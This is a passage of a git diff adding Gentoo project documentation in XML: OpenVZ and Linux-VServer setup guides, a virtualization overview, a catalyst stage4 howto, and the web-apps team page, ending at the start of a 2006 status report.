+<title>Setup host environment</title>
+<body>
+
+<p>
+To maintain your virtual servers you need the vzctl package which
+contains all necessary programs and many useful features.
+</p>
+
+<pre caption="Install vzctl">
+# <i>emerge vzctl</i>
+</pre>
+
+<p>
+The vzctl packages has installed an init script called vz. It will help you to
+start/stop virtual servers on boot/shutdown:
+</p>
+
+<pre caption="vzctl init script">
+# <i>rc-update add vz default</i>
+# <i>/etc/init.d/vz start</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creating a guest template</title>
+<section>
+<title>Create the template tarball</title>
+<body>
+
+<p>
+Since many hardware related commands are not available inside a virtual server,
+there has been a patched version of baselayout known as baselayout-vserver.
+However all required changes have been
+integrated into normal baselayout-2, eliminating the need for seperate vserver
+stages, profiles and baselayout. The only (temporary) drawback is that
+baselayout-2 is still considered to be in alpha stage and there are no
+stages with baselayout-2 available on the mirrors yet.
+</p>
+
+<p>
+As soon as baselayout-2 is stable you can use a precompiled stage3/4 from
+one of <uri link="/main/en/mirrors.xml">our mirrors</uri>. In the meantime
+please download a stage3/4 from
+<uri link="http://bb.xnull.de/projects/gentoo/stages/">here</uri>.
+</p>
+
+<note>
+Unfortunately vzctl does not understand bzip2 (yet?) and needs a different
+filename to recognize gentoo as the distribution, so you have to convert the
+stage tarball.
+</note>
+
+<pre caption="Convert stage tarball">
+# <i>cd /vz/template/cache</i>
+# <i>bunzip2 stage4-&lt;arch&gt;-&lt;version&gt;.tar.bz2</i>
+# <i>mv stage4-tarball.tar gentoo-&lt;arch&gt;-&lt;version&gt;.tar</i>
+# <i>gzip gentoo-&lt;arch&gt;-&lt;version&gt;.tar</i>
+# <i>cd -</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Create VPS</title>
+<body>
+
+<pre caption="Create VPS">
+# <i>vzctl create &lt;vpsid&gt; --ostemplate gentoo-&lt;arch&gt;-&lt;version&gt;</i>
+</pre>
+
+<note>
+Do not use vpsids &lt;=100, they are reserved.
+</note>
+
+</body>
+</section>
+<section>
+<title>Test the virtual server</title>
+<body>
+
+<p>
+You should be able to start and enter the vserver by using the commands below.
+</p>
+
+<pre caption="Test the virtual server">
+# <i>vzctl start &lt;vpsid&gt;</i>
+# <i>vzctl enter &lt;vpsid&gt;</i>
+# <i>ps ax</i>
+PID   TTY      STAT   TIME COMMAND
+    1 ?        S      0:00 init [3]
+20496 pts/0    S      0:00 /bin/bash -i
+20508 pts/0    R+     0:00 ps ax
+# <i>logout</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/vps/overview.xml b/xml/htdocs/proj/en/vps/overview.xml
new file mode 100644
index 00000000..9a4fd79b
--- /dev/null
+++ b/xml/htdocs/proj/en/vps/overview.xml
@@ -0,0 +1,168 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/vps/overview.xml,v 1.2 2006/06/20 05:17:46 hollow Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/vserver-howto.xml">
+<title>Virtualization Overview</title>
+
+<author title="Author">
+  <mail link="hollow@gentoo.org">Benedikt Boehm</mail>
+</author>
+<author title="by Courtesy">
+  <mail link="webmaster@openvz.org">OpenVZ.org</mail>
+</author>
+
+<abstract>
+Basic virtualization concepts
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-06-19</date>
+
+<chapter>
+<title>Virtualization Concepts</title>
+<section>
+<title>Methodology</title>
+<body>
+
+<p>
+Virtualization is a framework or methodology of dividing the resources of a
+computer into multiple execution environments. Virtualization techniques create
+multiple isolated partitions (Virtual Machines (VM) or Virtual Private Servers
+(VPS)) on a single physical server. There are several kinds of virtualization
+techniques which provide similar features but differ in the degree of
+abstraction and the methods used for virtualization.
+</p>
+
+</body>
+</section>
+<section>
+<title>Virtual Machines</title>
+<body>
+
+<p>
+Virtual Machines emulate some real or fictional hardware, which in turn requires
+real resources from the Host (the machine running the VMs). This approach, used
+by most System Emulators, allows the emulator to run an arbitrary Guest
+Operating System without modifications because OS isn't aware that it’s not
+running on real hardware. The main issue with this approach is that some CPU
+instructions require additional privileges and may not be executed in user space
+thus requiring a Virtual Machines Monitor (VMM) to analyze executed code and
+make it safe on-the-fly. Hardware Emulation approach is used by VMware products
+and Microsoft Virtual Server.
+</p>
+
+</body>
+</section>
+<section>
+<title>Para-Virtualized Machines</title>
+<body>
+
+<p>
+This technique also requires a VMM, but most of its work is performed in the
+Guest OS code, which in turn is modified to support this VMM and avoid
+unnecessary use of privileged instructions. The paravirtualization technique
+also enables running different OSs on a single server, but requires them to be
+ported. The paravirtualization approach is used by Xen, UML.
+</p>
+
+</body>
+</section>
+<section>
+<title>OS-Level Virtualization</title>
+<body>
+
+<p>
+Most applications running on a server can easily share a machine with others, if
+they could be isolated and secured. Further, in most situations, different
+operating systems are not required on the same server, merely multiple instances
+of a single Operating System. OS Virtualization systems have been designed to
+provide the required isolation and security to run multiple applications or
+copies of the same (or similar i.e different Linuxes) OS on the same server.
+OpenVZ, Linux-VServer are examples of OS virtualization.
+</p>
+
+</body>
+</section>
+<section>
+<title>Conclusion</title>
+<body>
+
+<p>
+The three techniques differ in complexity of implementation, breadth of OS
+support, performance in comparison with standalone server, and level of access
+to common resources. For example, VMs have wide scope of usage, but poor
+performance. Para-VMs have better performance, but can support fewer OSs because
+of need to port original OSes.
+</p>
+
+<p>
+Virtualization on the OS Level provides the best performance and scalability
+compared to other approaches. Performance of such systems can differ only about
+1-3% from standalone server. They are also much simpler to administer as all of
+the Virtual servers can be accessed and administered from the host. Generally,
+such systems are best choice for server consolidation of same OS workloads.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Usage Scenarios</title>
+<section>
+<title>Improved security</title>
+<body>
+
+<p>
+Consider a Linux server used to serve mail, web site, and DNS. There are at
+least three different applications listening to and handling network requests,
+and any of them can contain security holes. Using Virtualization, a server can
+be divided into three VPSs, one for each application. Thus, if the DNS server
+is compromised, the other applications will still be left intact due to complete
+isolation between VPSs.
+</p>
+
+</body>
+</section>
+<section>
+<title>Server consolidation</title>
+<body>
+
+<p>
+Having a separate physical server for each application is generally a good
+approach, it increases availability and improves security. However, separate
+servers lead to increased costs of hardware and collocation, and modern hardware
+is often underutilized in this scenario.
+</p>
+
+<p>
+With Virtualization, you can enjoy the benefits of dedicated server without such
+drawbacks. Create a VPS for each application and use the existing hardware more
+efficiently. This approach can be deployed totally transparently to your users.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>Development &amp; Testing</title>
+<body>
+
+<p>
+Developers often need access to several different Linux distributions to develop
+an application. Testing also needs to be performed on various software
+configurations. Therefore, testing and development groups often require a lot of
+hardware. Alternatively, using Virtualization developers and QAs can create
+multiple partitions with different Linux distributions and configurations
+residing on one physical server. Each VPS can have its own set of packages,
+system libraries, configuration files.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/vps/stage4-howto.xml b/xml/htdocs/proj/en/vps/stage4-howto.xml
new file mode 100644
index 00000000..43ad7e4f
--- /dev/null
+++ b/xml/htdocs/proj/en/vps/stage4-howto.xml
@@ -0,0 +1,163 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/vps/stage4-howto.xml,v 1.2 2007/03/26 19:57:52 hollow Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/vps/vserver-howto.xml">
+<title>Howto create custom VPS stages</title>
+
+<author title="Author">
+  <mail link="hollow@gentoo.org">Benedikt Boehm</mail>
+</author>
+
+<abstract>
+In this Howto you will learn how to create your own stage4 tarballs for use
+as virtual private server templates.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2007-03-26</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Motivation</title>
+<body>
+
+<p>
+In most cases there is not a single vserver on one machine, but rather plenty
+of them. To ease installation and save resources it is recommended to create
+custom stages with necessary packages already included, so there is no need to
+compile the initial software in the guest environment.
+</p>
+
+</body>
+</section>
+<section>
+<title>Requirements</title>
+<body>
+
+<p>
+To create stages Gentoo developers use a tool called catalyst. If you do not
+already have it installed on your system please do so:
+</p>
+
+<pre caption="Install catalyst">
+# <i>emerge dev-util/catalyst</i>
+</pre>
+
+<p>
+Since the base requirement for every Gentoo system is a stage3, you don't have
+to bother about building stage1, 2 or 3, but rather download a precompiled
+stage3 for your architecture and add your custom packages. As soon as as
+baselayout-1.13 is stable you can use a regular stage3 available from one of
+<uri link="/main/en/mirrors.xml">our mirrors</uri>. In the meantime please
+download a stage3 from
+<uri link="http://people.linux-vserver.org/~hollow/stages/">here</uri>.
+</p>
+
+<pre caption="Download precompiled stage3">
+# <i>mkdir -p /var/tmp/catalyst/builds/default</i>
+# <i>cd /var/tmp/catalyst/builds/default</i>
+# <i>wget http://people.linux-vserver.org/~hollow/stages/stage3-&lt;ARCH&gt;-&lt;DATE&gt;.tar.bz2</i>
+</pre>
+
+<p>
+Finally, you need a copy of the portage tree used by catalyst. You can either
+download a snapshot from on of
+<uri link="/main/en/mirrors.xml">our mirrors</uri> or create one yourself.
+</p>
+
+<pre caption="Get a portage snapshot">
+<comment>(Download from our mirrors)</comment>
+# <i> mkdir -p /var/tmp/catalyst/snapshots</i>
+# <i> cd /var/tmp/catalyst/snapshots</i>
+# <i>wget http://url/to/snapshots/portage-latest.tar.bz2</i>
+
+<comment>(Create one yourself)</comment>
+# <i>catalyst -s latest</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Building your stage4</title>
+<section>
+<title>Download a spec-file template</title>
+<body>
+
+<p>
+The Gentoo VPS team provides
+<uri link="http://people.linux-vserver.org/~hollow/stages/specs">several spec files</uri>
+that can be used with catalyst. In many cases it is probably enough to just
+download a spec-file and start building. However, if you want to customize the
+list of packages even further, take a look at the spec-files and the
+<uri link="/proj/en/releng/catalyst/2.x/reference.xml">catalyst reference manual</uri>.
+</p>
+
+<pre caption="Download a spec-file">
+# <i>CONFDIR=/etc/vservers/.stages</i>
+# <i>mkdir -p $CONFDIR/specs</i>
+# <i>cd $CONFDIR/specs</i>
+# <i>wget http://people.linux-vserver.org/~hollow/stages/specs/stage4-&lt;ARCH&gt;-&lt;NAME&gt;.spec</i>
+</pre>
+
+<p>
+As long as baselayout-1.13 is not stable you need to keyword/unmask baselayout
+and some dependencies. Fortunately, the spec-files are already prepared for
+this and the list of dependencies is rather small.
+</p>
+
+<pre caption="Unmask baselayout">
+# <i>mkdir -p $CONFDIR/portage</i>
+# <i>echo sys-apps/baselayout &gt;&gt; $CONFDIR/portage/package.keywords</i>
+# <i>echo sys-apps/makedev    &gt;&gt; $CONFDIR/portage/package.keywords</i>
+# <i>echo app-shells/bash     &gt;&gt; $CONFDIR/portage/package.keywords</i>
+# <i>echo sys-apps/baselayout &gt;&gt; $CONFDIR/portage/package.unmask</i>
+# <i>echo sys-apps/makedev    &gt;&gt; $CONFDIR/portage/package.unmask</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Start build process</title>
+<body>
+
+<p>
+Your environment is now ready to start the build process with catalyst. To be
+able to maintain multiple stages in one repository, there is no version number
+in the spec-files, so you have to specify it on the command line.
+</p>
+
+<pre caption="Run catalyst">
+# <i>time catalyst -f $CONFDIR/specs/stage4-&lt;ARCH&gt;-&lt;NAME&gt;.spec -C version_stamp=$(date +%Y%m%d)</i>
+</pre>
+
+<p>
+Depending on your hardware and package selection this can take a rather long
+time, so get yourself a cup of coffee and check back occasionally. Once
+finished, the newly created stage can be found in
+<path>/var/tmp/catalyst/builds/default</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contact</title>
+<body>
+
+<p>
+Please feel free to contact the <mail link="hollow@gentoo.org">author</mail> or
+file a bug on <uri link="http://bugs.gentoo.org">Bugzilla</uri> in case of any
+problems or if you wish to contribute custom spec-files.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/vps/vserver-howto.xml b/xml/htdocs/proj/en/vps/vserver-howto.xml
new file mode 100644
index 00000000..55e3dd2f
--- /dev/null
+++ b/xml/htdocs/proj/en/vps/vserver-howto.xml
@@ -0,0 +1,439 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/vps/vserver-howto.xml,v 1.13 2010/02/22 20:54:50 hollow Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/vps/vserver-howto.xml">
+<title>Gentoo Linux-VServer Howto</title>
+
+<author title="Author">
+  <mail link="hollow@gentoo.org">Benedikt Boehm</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+
+<abstract>
+In this Howto you will learn to setup a basic virtual server using the
+Linux-VServer Technology
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.11</version>
+<date>2008-03-03</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>The Linux-VServer Concept</title>
+<body>
+
+<p>
+The basic concept of the Linux-VServer solution is to separate the user-space
+environment into distinct units (sometimes called Virtual Private Servers) in
+such a way that each VPS looks and feels like a real server to the processes
+contained within.
+</p>
+
+</body>
+</section>
+<section>
+<title>Terms used in this Howto</title>
+<body>
+
+<table>
+<tr>
+  <th>Term</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <th>Linux-VServer, VServer</th>
+  <ti>
+    Linux-VServer is the official name of the project and used in this Howto
+    the same way
+  </ti>
+</tr>
+<tr>
+  <th>virtual server, vserver, guest system</th>
+  <ti>
+    All these are interchangable and refer to one instance of a server (i.e.
+    one virtual server)
+  </ti>
+</tr>
+<tr>
+  <th>host system, host</th>
+  <ti>
+    The physical machine running your Gentoo Linux will host all virtual
+    servers
+  </ti>
+</tr>
+<tr>
+  <th>util-vserver</th>
+  <ti>
+    The <c>util-vserver</c> package contains all programs necessary for
+    maintaining your virtual servers
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Host configuration</title>
+<section>
+<title>Install a VServer kernel</title>
+<body>
+
+<pre caption="Install vserver-sources">
+# <i>emerge vserver-sources</i>
+</pre>
+
+<p>
+After the vserver-sources are installed it's time to configure them using
+<c>make menuconfig</c>.. Below is a common configuration for 2.1.1 and above. If
+you are using 2.0.x some configuration options may not be present.
+</p>
+
+<pre caption="Configure vserver-sources">
+# <i>cd /usr/src/linux-&lt;KERNELVERSION&gt;-vserver-&lt;VSERVERVERSION&gt;</i>
+# <i>make menuconfig</i>
+
+Linux VServer ---&gt;
+<comment>(Do not enable the legacy options)</comment>
+  [ ] Enable Legacy Kernel API
+  [ ] Enable Legacy Networking Kernel API
+<comment>(Read help text)</comment>
+  [ ] Remap Source IP Address
+  [*] Enable COW Immutable Link Breaking
+  [ ] Enable Virtualized Guest Time
+  [*] Enable Proc Security
+  [*] Enable Hard CPU Limits
+  [*]   Avoid idle CPUs by skipping Time
+  [*]   Limit the IDLE task
+      Persistent Inode Tagging (UID24/GID24)  ---&gt;
+  [ ] Tag NFSD User Auth and Files
+  [*] Enable Inode Tag Propagation
+  [*] Honor Privacy Aspects of Guests
+  [ ] VServer Debugging Code
+</pre>
+
+<note>
+If you are using reiserfs as filesystem on the partition where guest images are
+stored, you will need to enable extended attributes for reiserfs in your
+kernel config and additionally add the <c>attrs</c> option in
+<path>/etc/fstab</path>.
+</note>
+
+<pre caption="Configure reiserfs options">
+File systems  --->
+  &lt;*&gt; Reiserfs support
+  [*]   ReiserFS extended attributes
+</pre>
+
+<pre caption="Example fstab with extended attributes">
+/dev/hdb1 /vservers reiserfs noatime,attrs 0 0
+</pre>
+
+<p>
+After you've built and installed the kernel, update your boot loader and
+finally reboot to see if the kernel boots correctly.
+</p>
+
+<pre caption="Install the kernel">
+<comment>(Building the kernel)</comment>
+# <i>make</i>
+<comment>(Installing)</comment>
+# <i>make modules_install</i>
+# <i>cp arch/&lt;arch&gt;/boot/bzImage /boot/kernel-&lt;KERNELVERSION&gt;-vserver-&lt;VSERVERVERSION&gt;</i>
+<comment>(Edit bootloader config file as required and)</comment>
+# <i>reboot</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Setup host environment</title>
+<body>
+
+<p>
+To maintain your virtual servers you need the util-vserver package which
+contains all necessary programs and many useful features.
+</p>
+
+<pre caption="Install util-vserver">
+# <i>emerge >=sys-cluster/util-vserver-0.30.212</i>
+</pre>
+
+<p>
+You have to run the <c>vprocunhide</c> command after every reboot in order to
+setup <path>/proc</path> permissions correctly for vserver guests. Two init
+scripts have been installed by util-vserver which run the <c>vprocunhide</c>
+command for you and take care of virtual servers during shutdown of the host.
+</p>
+
+<pre caption="util-vserver init scripts">
+# <i>rc-update add vprocunhide default</i>
+# <i>/etc/init.d/vprocunhide start</i>
+# <i>rc-update add util-vserver default</i>
+# <i>/etc/init.d/util-vserver start</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Guest creation</title>
+<section>
+<title>Download a precompiled stage3</title>
+<body>
+
+<p>
+Since many hardware related commands are not available inside a virtual server,
+there has been a patched version of baselayout known as baselayout-vserver.
+However, since baselayout-2/openrc, all required changes have been integrated,
+eliminating the need for seperate vserver stages, profiles and baselayout. The
+only (temporary) drawback is that baselayout-2/openrc is still in testing
+(~arch) and there are no stages with baselayout-2/openrc available on the
+mirrors yet.
+</p>
+
+<p>
+As soon as baselayout-2/openrc is stable you can use a precompiled stage3 from
+one of <uri link="/main/en/mirrors.xml">our mirrors</uri>. In the meantime
+please download a stage3/4 or gentoo-vserver stage from
+<uri link="http://bb.xnull.de/projects/gentoo/">here</uri>.  Since a
+stage3 contains a complete root filesystem you can use the template build
+method of util-vserver. However, this method only works reliable since
+util-vserver-0.30.213_rc5, so make sure you have the right version installed.
+</p>
+
+<p>
+You have to choose a context ID for your vserver (dynamic context IDs are
+discouraged) as well as the necessary network device information (In this
+example eth0 is configured with 192.168.1.253/24 and the context ID is
+equivalent to the last two parts of the virtual servers IP).
+</p>
+
+<note>
+The context ID should be 1 &lt; ID &lt; 49152.
+</note>
+
+</body>
+</section>
+<section>
+<title>Using the template build method</title>
+<body>
+
+<p>
+For a long time now, plain init style was the only init style available for
+gentoo, i.e. a normal init process will be started inside the guest, just like
+on any common Unix system. However this approach has some drawbacks:
+</p>
+
+<ul>
+<li>No possibility to see output of init/rc scripts</li>
+<li>Wasted resources for idle init processes in each guest</li>
+<li>Annoying conflicts for <path>/etc/inittab</path></li>
+</ul>
+
+<p>
+Therefore, many users have requested to reimplement the gentoo init style,
+which has been abandonned since it was a very hacky implementation and more
+or less worked by accident due to other modifications done to baselayout back
+then. However, as of util-vserver-0.30.212 the gentoo init style has been
+reimplemented in a concise manner and will become the default in the future.
+</p>
+
+<note>
+If there is not a good reason for using an extra init process for each guest
+or if you don't know what to do here, you should stick with gentoo init style.
+</note>
+
+<pre caption="Start stage3 installation">
+# <i>vserver myguest build \</i>
+  <i>--context 1253 \</i>
+  <i>--hostname gentoo \</i>
+  <i>--interface eth0:192.168.1.253/24 \</i>
+  <i>--initstyle gentoo \</i> <comment>(replace if needed)</comment>
+  <i>-m template -- \</i>
+  <i>  -d gentoo \</i>
+  <i>  -t /path/to/stage3-&lt;arch&gt;-&lt;version&gt;.tar.bz2</i>
+</pre>
+
+<note>
+To reflect your network settings you should change
+<path>/etc/conf.d/hostname</path>, <path>/etc/conf.d/domainname</path> and
+<path>/etc/hosts</path> inside the guest to your needs. See <uri
+link="/doc/en/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect1">chapter
+8.b.1</uri> and <uri
+link="/doc/en/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect4">chapter
+8.b.4</uri>. The rest of your virtual servers network setup will be
+done on the host.
+</note>
+
+<p>
+You should now be able to start and enter the vserver by using the commands
+below.
+</p>
+
+<pre caption="Test the virtual server">
+# <i>vserver myguest start</i>
+
+   OpenRC 0.4.3 is starting up Gentoo Linux (x86_64) [VSERVER]
+
+Press I to enter interactive boot mode
+
+* /proc is already mounted, skipping
+* Setting hostname to myguest...                     [ ok ]
+* Creating user login records...                     [ ok ]
+* Cleaning /var/run...                               [ ok ]
+* Wiping /tmp directory...                           [ ok ]
+* Updating /etc/mtab...                              [ ok ]
+* Initializing random number generator...            [ ok ]
+* Starting syslog-ng...                              [ ok ]
+* Starting fcron...                                  [ ok ]
+* Starting Name Service Cache Daemon...              [ ok ]
+* Starting local...                                  [ ok ]
+# <i>vserver-stat</i>
+CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
+0       90   1.4G 153.4K  14m00s11   6m45s17   2h59m59 root server
+1252     2     3M   286    0m00s45   0m00s42   0m02s91 myguest
+# <i>vserver myguest enter</i>
+# <i>ps ax</i>
+  PID TTY      STAT   TIME COMMAND
+    1 ?        Ss     0:04 init [3]
+27637 ?        Ss     0:00 /usr/sbin/syslog-ng
+27656 ?        Ss     0:00 /usr/sbin/fcron -c /etc/fcron/fcron.conf
+27676 ?        Ssl    0:00 /usr/sbin/nscd
+27713 ?        S+     0:00 login
+27737 pts/15   Ss     0:00 /bin/bash
+27832 pts/15   R+     0:00 ps ax
+# <i>logout</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Maintenance made easy</title>
+<section>
+<title>Start guests on boot</title>
+<body>
+
+<p>
+You can start certain guests during boot. Each guest can be assigned a MARK.
+Now everything you have to do is configure these MARKs in the guests
+configuration and add the approriate init scripts to the default runlevel.
+</p>
+
+<pre caption="Configure MARKs for each guest">
+<comment>(Do this for every guest you want to start)</comment>
+# <i>mkdir -p /etc/vservers/myguest/apps/init</i>
+# <i>echo "default" > /etc/vservers/myguest/apps/init/mark</i>
+</pre>
+
+<pre caption="Add init script to the default runlevel">
+# <i>rc-update add vservers.default default</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Keep portage in sync</title>
+<body>
+
+<p>
+The script <c>vesync</c> will help you to keep the metadata cache and overlays
+in sync. <c>vemerge</c> is a simple wrapper for <c>emerge</c> in guests.
+</p>
+
+<pre caption="Examples">
+<comment>(Sync metadata for 'myguest')</comment>
+# <i>vesync myguest</i>
+<comment>(Sync metadata for all guests)</comment>
+# <i>vesync --all</i>
+<comment>(Sync 'myoverlay' for all guests)</comment>
+# <i>vesync --all \</i>
+  <i>--overlay /usr/local/overlays/myoverlay \</i>
+  <i>--overlay-host rsync://rsync.myhost.com/myoverlay \</i>
+  <i>--overlay-only</i>
+<comment>(emerge app-editors/vim in 'myguest')</comment>
+# <i>vemerge myguest -- app-editors/vim -va</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Update guests</title>
+<body>
+
+<p>
+Gentoo guests can share packages to save compilation time. In order to use
+shared packages, you have to create a central directory for packages on the
+host.  We will use <path>/var/cache/vpackages</path> on the host and mount it
+to <path>/usr/portage/packages</path> in every guest.
+</p>
+
+<pre caption="Add bind mount to guest configuration">
+# <i>mkdir -p /var/cache/vpackages</i>
+# <i>$EDITOR /etc/vservers/myguest/fstab</i>
+<comment>(Add this line at the end)</comment>
+/var/cache/vpackages /usr/portage/packages none bind,rw 0 0
+</pre>
+
+<p>
+Now you can use <c>vupdateworld</c> to update every guest. The command is
+equivalent to something like <c>emerge --deep --update --newuse world</c>
+depending on command line options.
+</p>
+
+<pre caption="vupdateworld examples">
+<comment>(Pretend update for 'myguest')</comment>
+# <i>vupdateworld myguest -- -vp</i>
+<comment>(Update 'myguest' using binary packages)</comment>
+# <i>vupdateworld myguest -- -k</i>
+<comment>(Update all guests using binary packages)</comment>
+# <i>vupdateworld --all -- -k</i>
+</pre>
+
+<note>
+In order to get binary packages you can either use PORTAGE_BINHOST (see <c>man
+make.conf</c>) or set FEATURES="buildpkg" in one or more guests.
+</note>
+
+<p>
+After a successful update you can easily update all configuration files with
+<c>vdispatch-conf</c>. It is a simple wrapper for <c>dispatch-conf</c> and
+behaves exactly the same.
+</p>
+
+<pre caption="vdispatch-conf examples">
+<comment>(Update configuration files for 'myguest')</comment>
+# <i>vdispatch-conf myguest</i>
+<comment>(Update configuration files for all guests)</comment>
+# <i>vdispatch-conf --all</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Contact</title>
+<body>
+
+<p>
+Please feel free to contact the <mail link="hollow@gentoo.org">author</mail> or
+file a bug on <uri link="http://bugs.gentoo.org">Bugzilla</uri> in case of any
+problems.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/webapps/index.xml b/xml/htdocs/proj/en/webapps/index.xml
new file mode 100644
index 00000000..7b2df076
--- /dev/null
+++ b/xml/htdocs/proj/en/webapps/index.xml
@@ -0,0 +1,151 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Web-apps</name>
+<longname>Gentoo web applications herd</longname>
+<date>2007-12-10</date>
+
+<description>
+The web-apps team maintains web applications, an eclass to facilitate writing
+ebuilds for these packages, and the webapp-config tool.
+</description>
+
+<longdescription>
+<p>
+The Gentoo webapp team maintains most web applications available via Portage.
+In addition, we provide the webapp-config utility that allows users to
+install ebuilds into different virtual hosts.
+</p>
+
+<p>
+We are also responsible for the webapp.eclass that allows to prepare
+web applications for installation with webapp-config.
+</p>
+</longdescription>
+
+<goals><p>
+Our goal is to make Gentoo the best platform for installing and maintaining web
+applications. To achieve this goal, we work closely with several other herds
+such as Apache and PHP.
+</p></goals>
+
+<!-- developers: add yourself -->
+<dev>robbat2</dev>
+<dev>trapni</dev>
+<dev role="Member" description="WordPress and friends">beandog</dev>
+
+<!-- links to documentation -->
+<resource link="/proj/en/webapps/webapp-config.xml">webapp-config Documentation</resource>
+<resource link="/proj/en/webapps/webapp-eclass.xml">webapp.eclass Documentation</resource>
+
+<!-- Status updates -->
+<extrachapter>
+
+<title>Status Updates</title>
+
+<section>
+<title>What are Status Updates?</title>
+<body>
+<p>
+We provide regular status updates covering what the webapp team has
+accomplished since the previous status update. It is written by one of the team
+leaders and contains a quick overview of recent progress.
+</p>
+</body>
+</section>
+
+<section>
+<title>Listing</title>
+<body>
+<p>
+The following status updates are available:
+</p>
+<ul>
+<li><uri link="status/status_20060222.xml">February 22nd, 2006</uri></li>
+</ul>
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter>
+
+<title>Participating</title>
+
+<section>
+<title>#gentoo-web on irc.freenode.net</title>
+<body>
+<p>
+The best way to reach us is on <uri link="irc://freenode/gentoo-web">IRC</uri>.
+Please feel free to stop by to talk about <c>webapp-config</c> or about web
+applications on Gentoo. We also welcome any suggestions for improvement.
+</p>
+</body>
+</section>
+
+<section>
+<title>gentoo-web-user@gentoo.org</title>
+<body>
+
+<p>
+The Gentoo web applications team uses the <mail
+link="gentoo-web-user@gentoo.org">gentoo-web-user</mail> mailing list for
+discussions related to web applications and <c>webapp-config</c>. This is a
+low-volume list.
+</p>
+
+<p>
+To subscribe to this mailing list, send an empty e-mail to <mail
+link="gentoo-web-user-subscribe@gentoo.org">gentoo-web-user-subscribe</mail>.
+Once subscribed, you can post by sending an e-mail to <mail
+link="gentoo-web-user@gentoo.org">gentoo-web-user@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Web application overlay</title>
+
+<body>
+
+<p>
+Web applications in general tend to be a severe security liability. They are
+designed to communicate with the outside world and need to deal with a range of
+input from the Internet. Since it is often hard for developers to foresee all
+types of malicious input, security flaws are being detected rather frequently
+in the apps we maintain.
+</p>
+
+<p>
+To reduce the impact of such incidents while still offering a wide range of
+different web applications, we created a Portage <uri
+link="http://overlays.gentoo.org/proj/webapps/">overlay</uri>
+that contains ebuilds for applications that we do not want to maintain in the
+main tree. Such applications either lack a developer willing to maintain it in
+Portage or have not been reviewed for security.
+</p>
+
+<warn>
+Please remember that the applications available through the overlay might
+compromise the security of your server!
+</warn>
+
+<p>
+The overlay is an ideal playground for new developers wishing to join our
+team. Once we see that you are capable of writing ebuilds of reasonable
+quality, we can provide you with commit rights to the overlay.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+
+<!-- herds -->
+<herd name="web-apps" />
+
+</project>
diff --git a/xml/htdocs/proj/en/webapps/status/status_20060222.xml b/xml/htdocs/proj/en/webapps/status/status_20060222.xml
new file mode 100644
index 00000000..706719c5
--- /dev/null
+++ b/xml/htdocs/proj/en/webapps/status/status_20060222.xml
@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/web-apps/status/status_20060222.xml">
+  <title>Web-apps Status Report</title>
+
+  <author>
+    <mail link="wrobel@gentoo.org">Gunnar Wrobel</mail>
+  </author>
+
+  <abstract>
+    This is the status of the Gentoo/Web-Applications Project. It will
+    be posted regularly, but not with a static frequency.
+  </abstract>
+
+  <license/>
+
+  <version>1.0</version>
+  <date>2006-02-22</date>
+
+  <chapter>
+    <title>Status Reports</title>
+    <section>
+      <title>Preliminaries</title>
+      <body>
+
